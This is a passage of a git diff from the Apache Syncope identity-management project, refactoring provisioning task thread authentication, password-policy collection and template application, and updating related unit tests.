(tpte.isEmpty()) { boolean result = nonConcurrentHandler(anyType).handle(anyKey); executor.reportHandled(anyType, anyKey); diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/SyncopeResultHandlerDispatcher.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/SyncopeResultHandlerDispatcher.java index 0b9064f667b..b9559b378db 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/SyncopeResultHandlerDispatcher.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/SyncopeResultHandlerDispatcher.java @@ -22,9 +22,9 @@ import java.util.List; import java.util.Map; import java.util.Optional; +import java.util.Set; import java.util.concurrent.ConcurrentHashMap; import java.util.concurrent.ExecutionException; -import java.util.concurrent.ExecutorCompletionService; import java.util.concurrent.Future; import java.util.concurrent.ThreadPoolExecutor; import java.util.function.Supplier; @@ -32,31 +32,34 @@ import org.apache.syncope.core.provisioning.api.pushpull.ProvisioningActions; import org.apache.syncope.core.provisioning.api.pushpull.ProvisioningProfile; import org.apache.syncope.core.provisioning.api.pushpull.SyncopeResultHandler; +import org.apache.syncope.core.spring.security.AuthContextUtils; +import org.apache.syncope.core.spring.security.SyncopeAuthenticationDetails; +import org.apache.syncope.core.spring.security.SyncopeGrantedAuthority; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.scheduling.concurrent.ThreadPoolTaskExecutor; -import org.springframework.security.core.Authentication; +import org.springframework.security.authentication.UsernamePasswordAuthenticationToken; import org.springframework.security.core.context.SecurityContextHolder; +import org.springframework.security.core.userdetails.User; public abstract class SyncopeResultHandlerDispatcher< T extends ProvisioningTask, A extends ProvisioningActions, RA extends SyncopeResultHandler> { protected static final Logger LOG = LoggerFactory.getLogger(SyncopeResultHandlerDispatcher.class); - protected final Optional tpte; + private static final String PLACEHOLDER_PWD = "PLACEHOLDER_PWD"; - protected final Optional> ecs; + protected final Optional tpte; protected final Map> suppliers = new ConcurrentHashMap<>(); protected final Map handlers = new ConcurrentHashMap<>(); - protected final List> futures = new ArrayList<>(); + protected final List> futures = new ArrayList<>(); - public SyncopeResultHandlerDispatcher(final ProvisioningProfile profile) { + protected SyncopeResultHandlerDispatcher(final ProvisioningProfile profile) { if (profile.getTask().getConcurrentSettings() == null) { tpte = Optional.empty(); - ecs = Optional.empty(); } else { ThreadPoolTaskExecutor t = new ThreadPoolTaskExecutor(); t.setCorePoolSize(profile.getTask().getConcurrentSettings().getCorePoolSize()); @@ -64,18 +67,24 @@ public SyncopeResultHandlerDispatcher(final ProvisioningProfile profile) { t.setQueueCapacity(profile.getTask().getConcurrentSettings().getQueueCapacity()); t.setWaitForTasksToCompleteOnShutdown(true); t.setThreadNamePrefix("provisioningTask-" + profile.getTask().getKey() + "-"); - t.setRejectedExecutionHandler(new ThreadPoolExecutor.CallerRunsPolicy()); + t.setRejectedExecutionHandler(new ThreadPoolExecutor.AbortPolicy()); - Authentication authentication = SecurityContextHolder.getContext().getAuthentication(); + String domain = AuthContextUtils.getDomain(); + String delegatedBy = AuthContextUtils.getDelegatedBy().orElse(null); + Set authorities = AuthContextUtils.getAuthorities(); t.setTaskDecorator(d -> () -> { - SecurityContextHolder.getContext().setAuthentication(authentication); + // set placeholder authentication object by creating fresh and copying data from caller's + UsernamePasswordAuthenticationToken placeHolderAuth = new UsernamePasswordAuthenticationToken( + new User(profile.getExecutor(), PLACEHOLDER_PWD, authorities), PLACEHOLDER_PWD, authorities); + placeHolderAuth.setDetails(new SyncopeAuthenticationDetails(domain, delegatedBy)); + SecurityContextHolder.getContext().setAuthentication(placeHolderAuth); + d.run(); }); t.initialize(); - this.tpte = Optional.of(t); - this.ecs = Optional.of(new ExecutorCompletionService<>(t.getThreadPoolExecutor())); + tpte = Optional.of(t); } } @@ -92,13 +101,11 @@ protected RA nonConcurrentHandler(final String key) { } protected void submit(final Runnable runnable) { - if (ecs.isPresent()) { - futures.add(ecs.get().submit(runnable, null)); - } + tpte.ifPresent(executor -> futures.add(executor.submit(runnable))); } - protected void cleanup() { - for (Future f : this.futures) { + protected void shutdown() { + for (Future f : this.futures) { try { f.get(); } catch (ExecutionException | InterruptedException e) { diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/stream/StreamPullJobDelegate.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/stream/StreamPullJobDelegate.java index 51b378f9d4b..c8f7ebbcc30 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/stream/StreamPullJobDelegate.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/pushpull/stream/StreamPullJobDelegate.java @@ -161,7 +161,8 @@ public List pull( final ConflictResolutionAction conflictResolutionAction, final String pullCorrelationRule, final Connector connector, - final PullTaskTO pullTaskTO) throws JobExecutionException { + final PullTaskTO pullTaskTO, + final String executor) throws JobExecutionException { LOG.debug("Executing stream pull"); @@ -188,6 +189,7 @@ public List pull( profile.setConflictResolutionAction(conflictResolutionAction); profile.getActions().addAll(getPullActions(pullTaskTO.getActions().stream(). map(implementationDAO::find).filter(Objects::nonNull).collect(Collectors.toList()))); + profile.setExecutor(executor); for (PullActions action : profile.getActions()) { action.beforeAll(profile); diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/utils/ConnObjectUtils.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/utils/ConnObjectUtils.java index cdca6314175..f537ebc78ef 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/utils/ConnObjectUtils.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/utils/ConnObjectUtils.java @@ -46,7 +46,6 @@ import org.apache.syncope.core.persistence.api.dao.RealmDAO; import org.apache.syncope.core.persistence.api.dao.UserDAO; import org.apache.syncope.core.persistence.api.entity.AnyUtilsFactory; -import org.apache.syncope.core.persistence.api.entity.Realm; import org.apache.syncope.core.persistence.api.entity.policy.PasswordPolicy; import org.apache.syncope.core.persistence.api.entity.task.PullTask; import org.apache.syncope.core.persistence.api.entity.user.User; @@ -69,8 +68,6 @@ public class ConnObjectUtils { protected static final Logger LOG = LoggerFactory.getLogger(ConnObjectUtils.class); - protected static final Encryptor ENCRYPTOR = Encryptor.getInstance(); - public static SyncToken toSyncToken(final String syncToken) { return Optional.ofNullable(syncToken).map(st -> POJOHelper.deserialize(st, SyncToken.class)).orElse(null); } @@ -175,8 +172,8 @@ public ConnObjectUtils( * @param pullTask pull task * @param anyTypeKind any type kind * @param provision provision information - * @param generatePasswordIfPossible whether password value shall be generated, in case not found from - * connector object and allowed by resource configuration + * @param generatePassword whether password value shall be generated, in case not found from + * connector object * @param create request type * @return create request */ @@ -186,32 +183,33 @@ public C getAnyCR( final PullTask pullTask, final AnyTypeKind anyTypeKind, final Provision provision, - final boolean generatePasswordIfPossible) { + final boolean generatePassword) { AnyTO anyTO = getAnyTOFromConnObject(obj, pullTask, anyTypeKind, provision); C anyCR = anyUtilsFactory.getInstance(anyTypeKind).newAnyCR(); EntityTOUtils.toAnyCR(anyTO, anyCR); - // (for users) if password was not set above, generate if resource is configured for that + // (for users) if password was not set above, generate if possible if (anyCR instanceof UserCR && StringUtils.isBlank(((UserCR) anyCR).getPassword()) - && generatePasswordIfPossible && pullTask.getResource().isRandomPwdIfNotProvided()) { + && generatePassword) { UserCR userCR = (UserCR) anyCR; List passwordPolicies = new ArrayList<>(); - Realm realm = realmDAO.findByFullPath(userCR.getRealm()); - if (realm != null) { - realmDAO.findAncestors(realm).stream(). - filter(ancestor -> ancestor.getPasswordPolicy() != null). - forEach(ancestor -> passwordPolicies.add(ancestor.getPasswordPolicy())); - } - + // add resource policies userCR.getResources().stream(). map(resourceDAO::find). filter(r -> r != null && r.getPasswordPolicy() != null). forEach(r -> passwordPolicies.add(r.getPasswordPolicy())); + // add realm policies + Optional.ofNullable(realmDAO.findByFullPath(userCR.getRealm())). + ifPresent(realm -> realmDAO.findAncestors(realm).stream(). + filter(ancestor -> ancestor.getPasswordPolicy() != null + && !passwordPolicies.contains(ancestor.getPasswordPolicy())). + forEach(ancestor -> passwordPolicies.add(ancestor.getPasswordPolicy()))); + userCR.setPassword(passwordGenerator.generate(passwordPolicies)); } @@ -266,7 +264,7 @@ public U getAnyUR( // update password if and only if password is really changed User user = userDAO.authFind(key); if (StringUtils.isBlank(updatedUser.getPassword()) - || ENCRYPTOR.verify(updatedUser.getPassword(), + || Encryptor.getInstance().verify(updatedUser.getPassword(), user.getCipherAlgorithm(), user.getPassword())) { updatedUser.setPassword(null); diff --git a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/utils/TemplateUtils.java b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/utils/TemplateUtils.java index 873287a73f1..7271f226ced 100644 --- a/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/utils/TemplateUtils.java +++ b/core/provisioning-java/src/main/java/org/apache/syncope/core/provisioning/java/utils/TemplateUtils.java @@ -19,6 +19,7 @@ package org.apache.syncope.core.provisioning.java.utils; import java.util.Map; +import java.util.Objects; import java.util.Optional; import org.apache.commons.jexl3.MapContext; import org.apache.commons.lang3.StringUtils; @@ -37,8 +38,6 @@ import org.apache.syncope.core.persistence.api.dao.GroupDAO; import org.apache.syncope.core.persistence.api.dao.UserDAO; import org.apache.syncope.core.persistence.api.entity.AnyTemplate; -import org.apache.syncope.core.persistence.api.entity.group.Group; -import org.apache.syncope.core.persistence.api.entity.user.User; import org.apache.syncope.core.provisioning.api.jexl.JexlUtils; import org.springframework.transaction.annotation.Transactional; @@ -50,7 +49,7 @@ protected static Attr evaluateAttr(final Attr template, final MapContext jexlCon if (template.getValues() != null && !template.getValues().isEmpty()) { template.getValues().forEach(value -> { - String evaluated = JexlUtils.evaluate(value, jexlContext).toString(); + String evaluated = JexlUtils.evaluateExpr(value, jexlContext).toString(); if (StringUtils.isNotBlank(evaluated)) { result.getValues().add(evaluated); } @@ -68,7 +67,7 @@ protected static void fill(final RealmMember realmMember, final RealmMember temp JexlUtils.addAttrsToContext(realmMember.getVirAttrs(), jexlContext); if (template.getRealm() != null) { - String evaluated = JexlUtils.evaluate(template.getRealm(), jexlContext).toString(); + String evaluated = JexlUtils.evaluateExpr(template.getRealm(), jexlContext).toString(); if (StringUtils.isNotBlank(evaluated)) { realmMember.setRealm(evaluated); } @@ -156,7 +155,7 @@ public void apply(final RealmMember realmMember, final AnyTO template) { fillMemberships((GroupableRelatableTO) realmMember, ((GroupableRelatableTO) template)); } else if (template instanceof UserTO) { if (StringUtils.isNotBlank(((UserTO) template).getUsername())) { - String evaluated = JexlUtils.evaluate(((UserTO) template).getUsername(), jexlContext).toString(); + String evaluated = JexlUtils.evaluateExpr(((UserTO) template).getUsername(), jexlContext).toString(); if (StringUtils.isNotBlank(evaluated)) { if (realmMember instanceof UserTO) { ((UserTO) realmMember).setUsername(evaluated); @@ -167,7 +166,7 @@ public void apply(final RealmMember realmMember, final AnyTO template) { } if (StringUtils.isNotBlank(((UserTO) template).getPassword())) { - String evaluated = JexlUtils.evaluate(((UserTO) template).getPassword(), jexlContext).toString(); + String evaluated = JexlUtils.evaluateExpr(((UserTO) template).getPassword(), jexlContext).toString(); if (StringUtils.isNotBlank(evaluated)) { if (realmMember instanceof UserTO) { ((UserTO) realmMember).setPassword(evaluated); @@ -177,16 +176,45 @@ public void apply(final RealmMember realmMember, final AnyTO template) { } } + if (((UserTO) template).isMustChangePassword()) { + if (realmMember instanceof UserTO) { + ((UserTO) realmMember).setMustChangePassword(true); + } else if (realmMember instanceof UserCR) { + ((UserCR) realmMember).setMustChangePassword(true); + } + } + fillRelationships((GroupableRelatableTO) realmMember, ((GroupableRelatableTO) template)); fillMemberships((GroupableRelatableTO) realmMember, ((GroupableRelatableTO) template)); - if (realmMember instanceof UserTO) { - ((UserTO) realmMember).getRoles().addAll(((UserTO) template).getRoles()); - } else if (realmMember instanceof UserCR) { - ((UserCR) realmMember).getRoles().addAll(((UserTO) template).getRoles()); - } + + ((UserTO) template).getRoles().forEach(role -> { + if (realmMember instanceof UserTO + && !((UserTO) realmMember).getRoles().contains(role)) { + + ((UserTO) realmMember).getRoles().add(role); + } else if (realmMember instanceof UserCR + && !((UserCR) realmMember).getRoles().contains(role)) { + + ((UserCR) realmMember).getRoles().add(role); + } + }); + + ((UserTO) template).getLinkedAccounts().forEach(account -> { + if (realmMember instanceof UserTO && ((UserTO) realmMember).getLinkedAccounts().stream(). + noneMatch(a -> Objects.equals(account.getConnObjectKeyValue(), a.getConnObjectKeyValue()) + && Objects.equals(account.getResource(), a.getResource()))) { + + ((UserTO) realmMember).getLinkedAccounts().add(account); + } else if (realmMember instanceof UserCR && ((UserCR) realmMember).getLinkedAccounts().stream(). + noneMatch(a -> Objects.equals(account.getConnObjectKeyValue(), a.getConnObjectKeyValue()) + && Objects.equals(account.getResource(), a.getResource()))) { + + ((UserCR) realmMember).getLinkedAccounts().add(account); + } + }); } else if (template instanceof GroupTO) { if (StringUtils.isNotBlank(((GroupTO) template).getName())) { - String evaluated = JexlUtils.evaluate(((GroupTO) template).getName(), jexlContext).toString(); + String evaluated = JexlUtils.evaluateExpr(((GroupTO) template).getName(), jexlContext).toString(); if (StringUtils.isNotBlank(evaluated)) { if (realmMember instanceof GroupTO) { ((GroupTO) realmMember).setName(evaluated); @@ -196,26 +224,52 @@ public void apply(final RealmMember realmMember, final AnyTO template) { } } - if (((GroupTO) template).getUserOwner() != null) { - final User userOwner = userDAO.find(((GroupTO) template).getUserOwner()); - if (userOwner != null) { - if (realmMember instanceof GroupTO) { - ((GroupTO) realmMember).setUserOwner(userOwner.getKey()); - } else if (realmMember instanceof GroupCR) { - ((GroupCR) realmMember).setUserOwner(userOwner.getKey()); - } + Optional.ofNullable(((GroupTO) template).getUserOwner()).map(userDAO::find).ifPresent(userOwner -> { + if (realmMember instanceof GroupTO) { + ((GroupTO) realmMember).setUserOwner(userOwner.getKey()); + } else if (realmMember instanceof GroupCR) { + ((GroupCR) realmMember).setUserOwner(userOwner.getKey()); } - } - if (((GroupTO) template).getGroupOwner() != null) { - final Group groupOwner = groupDAO.find(((GroupTO) template).getGroupOwner()); - if (groupOwner != null) { - if (realmMember instanceof GroupTO) { - ((GroupTO) realmMember).setGroupOwner(groupOwner.getKey()); - } else if (realmMember instanceof GroupCR) { - ((GroupCR) realmMember).setGroupOwner(groupOwner.getKey()); - } + }); + Optional.ofNullable(((GroupTO) template).getGroupOwner()).map(groupDAO::find).ifPresent(groupOwner -> { + if (realmMember instanceof GroupTO) { + ((GroupTO) realmMember).setGroupOwner(groupOwner.getKey()); + } else if (realmMember instanceof GroupCR) { + ((GroupCR) realmMember).setGroupOwner(groupOwner.getKey()); } - } + }); + + Optional.ofNullable(((GroupTO) template).getUDynMembershipCond()).ifPresent(udynMembershipCond -> { + if (realmMember instanceof GroupTO) { + ((GroupTO) realmMember).setUDynMembershipCond(udynMembershipCond); + } else if (realmMember instanceof GroupCR) { + ((GroupCR) realmMember).setUDynMembershipCond(udynMembershipCond); + } + }); + + ((GroupTO) template).getADynMembershipConds().forEach((anyType, cond) -> { + if (realmMember instanceof GroupTO + && !((GroupTO) realmMember).getADynMembershipConds().containsKey(anyType)) { + + ((GroupTO) realmMember).getADynMembershipConds().put(anyType, cond); + } else if (realmMember instanceof GroupCR + && !((GroupCR) realmMember).getADynMembershipConds().containsKey(anyType)) { + + ((GroupCR) realmMember).getADynMembershipConds().put(anyType, cond); + } + }); + + ((GroupTO) template).getTypeExtensions().forEach(typeExt -> { + if (realmMember instanceof GroupTO + && !((GroupTO) realmMember).getTypeExtensions().contains(typeExt)) { + + ((GroupTO) realmMember).getTypeExtensions().add(typeExt); + } else if (realmMember instanceof GroupCR + && !((GroupCR) realmMember).getTypeExtensions().contains(typeExt)) { + + ((GroupCR) realmMember).getTypeExtensions().add(typeExt); + } + }); } } diff --git a/core/provisioning-java/src/test/java/org/apache/syncope/core/provisioning/java/DefaultMappingManagerTest.java b/core/provisioning-java/src/test/java/org/apache/syncope/core/provisioning/java/DefaultMappingManagerTest.java index e6e6a0cb71a..439f9766cef 100644 --- a/core/provisioning-java/src/test/java/org/apache/syncope/core/provisioning/java/DefaultMappingManagerTest.java +++ b/core/provisioning-java/src/test/java/org/apache/syncope/core/provisioning/java/DefaultMappingManagerTest.java @@ -121,11 +121,11 @@ public void prepareAttrsForUser() { assertNull(AttributeUtil.getPasswordValue(attrs.getRight())); // 3. with no clear-text password but random password generation enabled - ldap.setRandomPwdIfNotProvided(true); + // after SYNCOPE-1751 no password is going to be generated by DefaultMappingManager, + // but by AbstractPropagationTaskExecutor ldap = resourceDAO.save(ldap); entityManager().flush(); - String encPassword = bellini.getPassword(); attrs = mappingManager.prepareAttrsFromAny( bellini, null, @@ -133,10 +133,9 @@ public void prepareAttrsForUser() { Boolean.TRUE, ldap, provision); - assertNotEquals(encPassword, SecurityUtil.decrypt(AttributeUtil.getPasswordValue(attrs.getRight()))); + assertNull(AttributeUtil.getPasswordValue(attrs.getRight())); // 4. with no clear-text password and random password generation disabled - ldap.setRandomPwdIfNotProvided(false); resourceDAO.save(ldap); entityManager().flush(); @@ -217,21 +216,20 @@ public void prepareAttrsForLinkedAccount() { assertNull(AttributeUtil.getPasswordValue(attrs)); // 4. without account password, no clear-text password but random password generation enabled - ldap.setRandomPwdIfNotProvided(true); + // after SYNCOPE-1751 no password is going to be generated by DefaultMappingManager, + // but by AbstractPropagationTaskExecutor ldap = resourceDAO.save(ldap); entityManager().flush(); - String encPassword = vivaldi.getPassword(); attrs = mappingManager.prepareAttrsFromLinkedAccount( vivaldi, account, null, true, provision); - assertNotEquals(encPassword, SecurityUtil.decrypt(AttributeUtil.getPasswordValue(attrs))); + assertNull(AttributeUtil.getPasswordValue(attrs)); // 5. without account password, no clear-text password and random password generation disabled - ldap.setRandomPwdIfNotProvided(false); resourceDAO.save(ldap); entityManager().flush(); diff --git a/core/provisioning-java/src/test/java/org/apache/syncope/core/provisioning/java/DummyImplementationLookup.java b/core/provisioning-java/src/test/java/org/apache/syncope/core/provisioning/java/DummyImplementationLookup.java index ec1f54d72a2..8bb73697a69 100644 --- a/core/provisioning-java/src/test/java/org/apache/syncope/core/provisioning/java/DummyImplementationLookup.java +++ b/core/provisioning-java/src/test/java/org/apache/syncope/core/provisioning/java/DummyImplementationLookup.java @@ -23,15 +23,15 @@ import org.apache.syncope.common.lib.policy.PasswordRuleConf; import org.apache.syncope.common.lib.policy.PullCorrelationRuleConf; import org.apache.syncope.common.lib.policy.PushCorrelationRuleConf; -import org.apache.syncope.common.lib.report.ReportletConf; -import org.apache.syncope.core.persistence.api.ImplementationLookup; -import org.apache.syncope.core.persistence.api.dao.AccountRule; -import org.apache.syncope.core.persistence.api.dao.PasswordRule; -import org.apache.syncope.core.persistence.api.dao.PullCorrelationRule; -import org.apache.syncope.core.persistence.api.dao.PushCorrelationRule; -import org.apache.syncope.core.persistence.api.dao.Reportlet; -import org.apache.syncope.core.persistence.jpa.dao.DefaultPullCorrelationRule; -import org.apache.syncope.core.persistence.jpa.dao.DefaultPushCorrelationRule; +import org.apache.syncope.common.lib.report.ReportConf; +import org.apache.syncope.core.provisioning.api.ImplementationLookup; +import org.apache.syncope.core.provisioning.api.job.report.ReportJobDelegate; +import org.apache.syncope.core.provisioning.api.rules.AccountRule; +import org.apache.syncope.core.provisioning.api.rules.PasswordRule; +import org.apache.syncope.core.provisioning.api.rules.PullCorrelationRule; +import org.apache.syncope.core.provisioning.api.rules.PushCorrelationRule; +import org.apache.syncope.core.provisioning.java.pushpull.DefaultPullCorrelationRule; +import org.apache.syncope.core.provisioning.java.pushpull.DefaultPushCorrelationRule; import org.apache.syncope.core.spring.policy.DefaultAccountRule; import org.apache.syncope.core.spring.policy.DefaultPasswordRule; @@ -48,14 +48,7 @@ public Set getClassNames(final String type) { } @Override - public Set> getJWTSSOProviderClasses() { - return Set.of(); - } - - @Override - public Class getReportletClass( - final Class reportletConfClass) { - + public Class getReportClass(final Class reportConfClass) { return null; } diff --git a/core/provisioning-java/src/test/java/org/apache/syncope/core/provisioning/java/ProvisioningTestContext.java b/core/provisioning-java/src/test/java/org/apache/syncope/core/provisioning/java/ProvisioningTestContext.java index ce03a87c274..12d48250067 100644 --- a/core/provisioning-java/src/test/java/org/apache/syncope/core/provisioning/java/ProvisioningTestContext.java +++ b/core/provisioning-java/src/test/java/org/apache/syncope/core/provisioning/java/ProvisioningTestContext.java @@ -24,11 +24,11 @@ import org.apache.syncope.common.keymaster.client.api.DomainOps; import org.apache.syncope.core.persistence.api.DomainHolder; import org.apache.syncope.core.persistence.api.DomainRegistry; -import org.apache.syncope.core.persistence.api.ImplementationLookup; import org.apache.syncope.core.persistence.api.content.ContentLoader; import org.apache.syncope.core.persistence.jpa.MasterDomain; import org.apache.syncope.core.persistence.jpa.PersistenceContext; import org.apache.syncope.core.persistence.jpa.StartupDomainLoader; +import org.apache.syncope.core.provisioning.api.ImplementationLookup; import org.apache.syncope.core.spring.security.SecurityContext; import org.apache.syncope.core.workflow.java.WorkflowContext; import org.springframework.context.ConfigurableApplicationContext; diff --git a/core/provisioning-java/src/test/java/org/apache/syncope/core/provisioning/java/data/ResourceDataBinderTest.java b/core/provisioning-java/src/test/java/org/apache/syncope/core/provisioning/java/data/ResourceDataBinderTest.java index b1866fd0ac3..70aa116e772 100644 --- a/core/provisioning-java/src/test/java/org/apache/syncope/core/provisioning/java/data/ResourceDataBinderTest.java +++ b/core/provisioning-java/src/test/java/org/apache/syncope/core/provisioning/java/data/ResourceDataBinderTest.java @@ -33,7 +33,6 @@ import org.apache.syncope.common.lib.types.AnyTypeKind; import org.apache.syncope.common.lib.types.IdMEntitlement; import org.apache.syncope.common.lib.types.MappingPurpose; -import org.apache.syncope.core.persistence.api.dao.AnyTypeDAO; import org.apache.syncope.core.persistence.api.dao.ExternalResourceDAO; import org.apache.syncope.core.persistence.api.dao.PlainSchemaDAO; import org.apache.syncope.core.persistence.api.entity.ExternalResource; @@ -55,18 +54,6 @@ @Transactional("Master") public class ResourceDataBinderTest extends AbstractTest { - @Autowired - private AnyTypeDAO anyTypeDAO; - - @Autowired - private ExternalResourceDAO resourceDAO; - - @Autowired - private ResourceDataBinder resourceDataBinder; - - @Autowired - private PlainSchemaDAO plainSchemaDAO; - @BeforeAll public static void setAuthContext() { List authorities = IdMEntitlement.values().stream(). @@ -85,6 +72,15 @@ public static void unsetAuthContext() { SecurityContextHolder.getContext().setAuthentication(null); } + @Autowired + private ExternalResourceDAO resourceDAO; + + @Autowired + private ResourceDataBinder resourceDataBinder; + + @Autowired + private PlainSchemaDAO plainSchemaDAO; + @Test public void issue42() { PlainSchema userId = plainSchemaDAO.find("userId"); diff --git a/core/provisioning-java/src/test/java/org/apache/syncope/core/provisioning/java/data/UserDataBinderTest.java b/core/provisioning-java/src/test/java/org/apache/syncope/core/provisioning/java/data/UserDataBinderTest.java new file mode 100644 index 00000000000..bebb7bdc278 --- /dev/null +++ b/core/provisioning-java/src/test/java/org/apache/syncope/core/provisioning/java/data/UserDataBinderTest.java @@ -0,0 +1,118 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.provisioning.java.data; + +import static org.junit.jupiter.api.Assertions.assertEquals; +import static org.junit.jupiter.api.Assertions.assertNull; +import static org.junit.jupiter.api.Assertions.assertThrows; +import static org.junit.jupiter.api.Assertions.assertTrue; + +import java.util.List; +import java.util.stream.Collectors; +import org.apache.syncope.common.lib.Attr; +import org.apache.syncope.common.lib.SyncopeConstants; +import org.apache.syncope.common.lib.request.AttrPatch; +import org.apache.syncope.common.lib.request.MembershipUR; +import org.apache.syncope.common.lib.request.UserUR; +import org.apache.syncope.common.lib.types.IdRepoEntitlement; +import org.apache.syncope.core.persistence.api.attrvalue.validation.InvalidEntityException; +import org.apache.syncope.core.persistence.api.dao.UserDAO; +import org.apache.syncope.core.persistence.api.entity.user.UMembership; +import org.apache.syncope.core.persistence.api.entity.user.User; +import org.apache.syncope.core.provisioning.api.data.UserDataBinder; +import org.apache.syncope.core.provisioning.java.AbstractTest; +import org.apache.syncope.core.spring.security.SyncopeAuthenticationDetails; +import org.apache.syncope.core.spring.security.SyncopeGrantedAuthority; +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.Test; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.authentication.UsernamePasswordAuthenticationToken; +import org.springframework.security.core.GrantedAuthority; +import org.springframework.security.core.context.SecurityContextHolder; +import org.springframework.transaction.annotation.Transactional; + +@Transactional("Master") +public class UserDataBinderTest extends AbstractTest { + + @BeforeAll + public static void setAuthContext() { + List authorities = IdRepoEntitlement.values().stream(). + map(entitlement -> new SyncopeGrantedAuthority(entitlement, SyncopeConstants.ROOT_REALM)). + collect(Collectors.toList()); + + UsernamePasswordAuthenticationToken auth = new UsernamePasswordAuthenticationToken( + new org.springframework.security.core.userdetails.User( + "admin", "FAKE_PASSWORD", authorities), "FAKE_PASSWORD", authorities); + auth.setDetails(new SyncopeAuthenticationDetails(SyncopeConstants.MASTER_DOMAIN, null)); + SecurityContextHolder.getContext().setAuthentication(auth); + } + + @AfterAll + public static void unsetAuthContext() { + SecurityContextHolder.getContext().setAuthentication(null); + } + + @Autowired + private UserDataBinder dataBinder; + + @Autowired + private UserDAO userDAO; + + @Test + public void membershipWithAttrNotAllowed() { + UserUR userUR = new UserUR.Builder("1417acbe-cbf6-4277-9372-e75e04f97000").build(); + + // add 'obscure' to user (no membership): works because 'obscure' is from 'other', default class for USER + userUR.getPlainAttrs(). + add(new AttrPatch.Builder(new Attr.Builder("obscure").value("testvalue").build()).build()); + + // add 'obscure' to user (via 'artDirector' membership): does not work because 'obscure' is from 'other' + // but 'artDirector' defines no type extension + userUR.getMemberships().add(new MembershipUR.Builder("ece66293-8f31-4a84-8e8d-23da36e70846"). + plainAttr(new Attr.Builder("obscure").value("testvalue2").build()).build()); + + assertThrows(InvalidEntityException.class, () -> dataBinder.update(userDAO.find(userUR.getKey()), userUR)); + } + + @Test + public void membershipWithAttr() { + UserUR userUR = new UserUR.Builder("1417acbe-cbf6-4277-9372-e75e04f97000").build(); + + // add 'obscure' (no membership): works because 'obscure' is from 'other', default class for USER + userUR.getPlainAttrs(). + add(new AttrPatch.Builder(new Attr.Builder("obscure").value("testvalue").build()).build()); + + // add 'obscure' (via 'additional' membership): that group defines type extension with classes 'other' and 'csv' + userUR.getMemberships().add(new MembershipUR.Builder("034740a9-fa10-453b-af37-dc7897e98fb1"). + plainAttr(new Attr.Builder("obscure").value("testvalue2").build()).build()); + + dataBinder.update(userDAO.find(userUR.getKey()), userUR); + + User user = userDAO.find(userUR.getKey()); + UMembership newM = user.getMembership("034740a9-fa10-453b-af37-dc7897e98fb1").get(); + assertEquals(1, user.getPlainAttrs(newM).size()); + + assertNull(user.getPlainAttr("obscure").get().getMembership()); + assertEquals(2, user.getPlainAttrs("obscure").size()); + assertTrue(user.getPlainAttrs("obscure").contains(user.getPlainAttr("obscure").get())); + assertTrue(user.getPlainAttrs("obscure").stream().anyMatch(a -> a.getMembership() == null)); + assertTrue(user.getPlainAttrs("obscure").stream().anyMatch(a -> newM.equals(a.getMembership()))); + } +} diff --git a/core/provisioning-java/src/test/java/org/apache/syncope/core/provisioning/java/pushpull/LDAPMembershipPullActionsTest.java b/core/provisioning-java/src/test/java/org/apache/syncope/core/provisioning/java/pushpull/LDAPMembershipPullActionsTest.java index 0d3a976d6a2..1b1462b2747 100644 --- a/core/provisioning-java/src/test/java/org/apache/syncope/core/provisioning/java/pushpull/LDAPMembershipPullActionsTest.java +++ b/core/provisioning-java/src/test/java/org/apache/syncope/core/provisioning/java/pushpull/LDAPMembershipPullActionsTest.java @@ -25,11 +25,9 @@ import static org.mockito.ArgumentMatchers.anyString; import static org.mockito.Mockito.lenient; import static org.mockito.Mockito.mock; -import static org.mockito.Mockito.verify; import static org.mockito.Mockito.when; import java.util.HashMap; -import java.util.HashSet; import java.util.List; import java.util.Map; import java.util.Optional; @@ -49,7 +47,6 @@ import org.apache.syncope.common.lib.types.MatchType; import org.apache.syncope.core.persistence.api.dao.AnyTypeDAO; import org.apache.syncope.core.persistence.api.dao.GroupDAO; -import org.apache.syncope.core.persistence.api.dao.PullMatch; import org.apache.syncope.core.persistence.api.entity.AnyType; import org.apache.syncope.core.persistence.api.entity.ConnInstance; import org.apache.syncope.core.persistence.api.entity.EntityFactory; @@ -59,8 +56,8 @@ import org.apache.syncope.core.persistence.api.entity.user.User; import org.apache.syncope.core.provisioning.api.Connector; import org.apache.syncope.core.provisioning.api.pushpull.ProvisioningProfile; +import org.apache.syncope.core.provisioning.api.rules.PullMatch; import org.apache.syncope.core.provisioning.java.AbstractTest; -import org.identityconnectors.framework.common.objects.Attribute; import org.identityconnectors.framework.common.objects.ConnectorObject; import org.identityconnectors.framework.common.objects.SyncDelta; import org.identityconnectors.framework.common.objects.Uid; @@ -98,9 +95,6 @@ public class 